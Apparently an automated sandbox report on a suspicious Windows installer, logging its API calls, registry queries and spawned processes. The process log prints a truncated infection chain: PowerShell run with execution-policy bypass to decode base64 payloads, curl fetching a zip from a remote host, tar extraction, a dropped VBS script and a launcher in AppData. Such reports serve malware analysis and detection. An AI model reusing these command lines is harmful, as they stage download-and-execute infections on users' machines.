940000000a00000000000000654a0000020000000000000000006e7ef67f00000000000000000000180000000000000000000000000000000000000000000000e1c7a09b3d0200006b77dd77c807000000006e7ef67f00003abd1015fd7f000006000000e7000000f300000000000000010000000000000000000000000000000600000000000000000000000000000000006e7e (UID: 00000000-00008816) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f00000000000000000000010000000000000040264b2ffd7f0000000100000000000038264b2ffd7f00000000000000000000409d963efd7f00000000000000000000000100000000000000fb68baa30200000000c63efd7f000001000000000000002f194a2ffd7f0000000000000000000038264b2ffd7f000013cc3f70 (UID: 00000000-00008816) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f00009c33462ffd7f0000203f462ffd7f00000200000000000000203f462ffd7f000002000000000000000300000000000000b133462ffd7f00003836492ffd7f000000c093baa302000010c093baa30200000000462ffd7f0000010000000000000053a5983efd7f00000000000000000000c0ab482ffd7f000000101a00 (UID: 00000000-00008816) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f0000b045eb29fd7f00004059eb29fd7f00005fb2053efd7f00004059eb29fd7f00000a000000000000000b00000000000000c545eb29fd7f000030ebed29fd7f0000e4e80b3efd7f0000f8e693baa302000000009740fd7f0000010000000000000053a5983efd7f00000100000000000000f439eb29fd7f000078000000 (UID: 00000000-00008816) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f000000000000000000000100000000000000c05ff029fd7f00000001000000000000b85ff029fd7f00000000000000000000409d963efd7f000000000000000000000001000000000000d126966cec9c00000000eb29fd7f00000100000000000000df10ef29fd7f00000000000000000000b85ff029fd7f000000000000 (UID: 00000000-00008816) "AppLauncher.exe" called "GetVersionExA" with parameter 9c0000000a00000000000000654a0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007628)36:T48d,"4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS")37:T87a,"AppLauncher.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "AppLauncher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "AppLauncher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{26B11A49-585F-4B43-A90C-9AF3C3D7B25B}"; Key: "SEARCHLIST"; Value: "") "AppLauncher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{26B11A49-585F-4B43-A90C-9AF3C3D7B25B}"; Key: "DOMAIN"; Value: "") "AppLauncher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{26B11A49-585F-4B43-A90C-9AF3C3D7B25B}"; Key: "DHCPDOMAIN"; Value: "") "AppLauncher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "AppLauncher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "AppLauncher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "AppLauncher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "AppLauncher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "AppLauncher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "SEARCHLIST"; Value: "") "AppLauncher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DHCPDOMAIN"; Value: "")38:T1220,"msiexec.exe" queries volume information of an entire harddrive"C:\" at 00000000-00008736-00000C17-741208168 "msiexec.exe" queries volume information of "C:\share" at 00000000-00008736-00000C17-741462884 "msiexec.exe" queries volume information of an entire harddrive"C:\" at 00000000-00008736-00000C17-741927091 "cmd.exe" queries volume information of an entire harddrive"C:\" at 00000000-00009092-00000C17-778619034 "cmd.exe" queries volume information of an entire harddrive"C:\" at 00000000-00009092-00000C17-778627007 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00005792-00000C17-746369743 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00005792-00000C17-746372512 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00005792-00000C17-748474424 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00005792-00000C17-748827489 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005792-00000C17-749104323 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00005792-00000C17-749995324 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005792-00000C17-750309710 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00005792-00000C17-751075926 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00005780-00000C17-755445794 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00005780-00000C17-755448576 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00005780-00000C17-757521183 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00005780-00000C17-757834575 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005780-00000C17-758117811 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00005780-00000C17-759206422 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005780-00000C17-759385896 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00005780-00000C17-760331229 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00008992-00000C17-764541729 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00008992-00000C17-764546460 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00008992-00000C17-768443254 "tar.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\syEYigXN_hKnEJAJ7MD_31123.zip" at 00000000-00008596-00000C17-77608191839:Tdc2,"4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{CF64BE47-87A6-4000-AC93-DF63DFBC49B2}") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{CF64BE47-87A6-4000-AC93-DF63DFBC49B2}.REBOOTREQUIRED") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "BUNDLEUPGRADECODE") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "BUNDLEADDONCODE") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "BUNDLEPATCHCODE") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "BUNDLEDETECTCODE") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "BUNDLEUPGRADECODE") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "BUNDLEADDONCODE") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "BUNDLEPATCHCODE") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "BUNDLEDETECTCODE") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER"; Key: "BUNDLEUPGRADECODE") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER"; Key: "BUNDLEADDONCODE") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER"; Key: "BUNDLEPATCHCODE") "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER"; Key: "BUNDLEDETECTCODE")3a:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")3b:T726,"4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "CreateDirectoryW" with parameter %WINDIR%\Temp\{598E3B9A-B770-4232-88C6-DA139C3689F8}\ (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "CreateDirectoryW" with parameter %WINDIR%\Temp\{598E3B9A-B770-4232-88C6-DA139C3689F8}\.cr (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "CreateDirectoryW" with parameter %WINDIR%\Temp\{AD6AEC28-EE89-4A68-B865-0B298FBD046A}\ (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "CreateDirectoryW" with parameter %WINDIR%\Temp\{AD6AEC28-EE89-4A68-B865-0B298FBD046A}\.ba\ (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "CreateDirectoryW" with parameter %TEMP%\ (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "CreateDirectoryW" with parameter %WINDIR%\Temp\{AD6AEC28-EE89-4A68-B865-0B298FBD046A}\.be (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Package Cache\{cf64be47-87a6-4000-ac93-df63dfbc49b2}\ (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Package Cache\{3451962C-AA6D-4F04-8D50-FBAA71CC9EA5}v8.4.54.0\ (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Package Cache\.unverified\ (UID: 00000000-00007280) "AppLauncher.exe" called "CreateDirectoryW" with parameter \\?\%LOCALAPPDATA%\4c467f9f (UID: 00000000-00007628)3c:Ta47,"4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "CreateProcessW" with parameter ""%WINDIR%\Temp\{598E3B9A-B770-4232-88C6-DA139C3689F8}\.cr\4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe"" - (UID: 00000000-00005188) "cmd.exe" called "CreateProcessW" with parameter "cmd.exe /C call "%LOCALAPPDATA%\UjovXDBOCMpR\CompleteSetup.cmd" POSTCFG" - (UID: 00000000-00007916) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FEED_B64; if (-not $" - (UID: 00000000-00009092) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64;" - (UID: 00000000-00009092), "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_ENTRY_B64; if (-not $b) { ex" - (UID: 00000000-00009092) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /S /D /c" ver "" - (UID: 00000000-00009092) "cmd.exe" called "CreateProcessW" with parameter "findstr /I /R "10\. 11\."" - (UID: 00000000-00009092) "cmd.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\curl.exe" -L -f -sS -o "%TEMP%\syEYigXN_hKnEJAJ7MD_31123.zip" "https://nodejs.o" - (UID: 00000000-00009092), "cmd.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\tar.exe" -xf "%TEMP%\syEYigXN_hKnEJAJ7MD_31123.zip" -C "C:\Users\vIsNsqb\AppDat" - (UID: 00000000-00009092) "cmd.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WScript.exe" //NOLOGO //B "%LOCALAPPDATA%\UjovXDBOCMpR\reggjwpps.vbs" "C:\Users\vIsNsqb\AppD" - (UID: 00000000-00009092), "cmd.exe" called "CreateProcessW" with parameter "powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]" - (UID: 00000000-00005252) "cmd.exe" called "CreateProcessW" with parameter "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text" - (UID: 00000000-00001688), "cmd.exe" called "CreateProcessW" with parameter "powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_ENTRY_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8." - (UID: 00000000-00007096) "wscript.exe" called "CreateProcessW" with parameter ""%LOCALAPPDATA%\UjovXDBOCMpR\AppRuntime\AppLauncher.exe" "%LOCALAPPDATA%\UjovXDBOCMpR\0ajzeIGKyHg" - (UID: 00000000-00008816)3d:T90ea,"4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Comctl32.dll (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\AdvApi32.dll (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Msi.dll (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter Cabinet.dll (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Comctl32.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\AdvApi32.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Msi.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter Cabinet.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter %WINDIR%\Temp\{AD6AEC28-EE89-4A68-B865-0B298FBD046A}\.ba\wixstdba.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter msi.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter %WINDIR%\Temp\{AD6AEC28-EE89-4A68-B865-0B298FBD046A}\.ba\bafunctions.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter srpapi.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\TSAPPCMP.DLL (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter Ntdll.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\SHLWAPI.DLL (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\ADVAPI32.DLL (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter COMCTL32 (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\KERNEL32.DLL (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter MsiMsg.dll (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\OLE32.DLL (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter 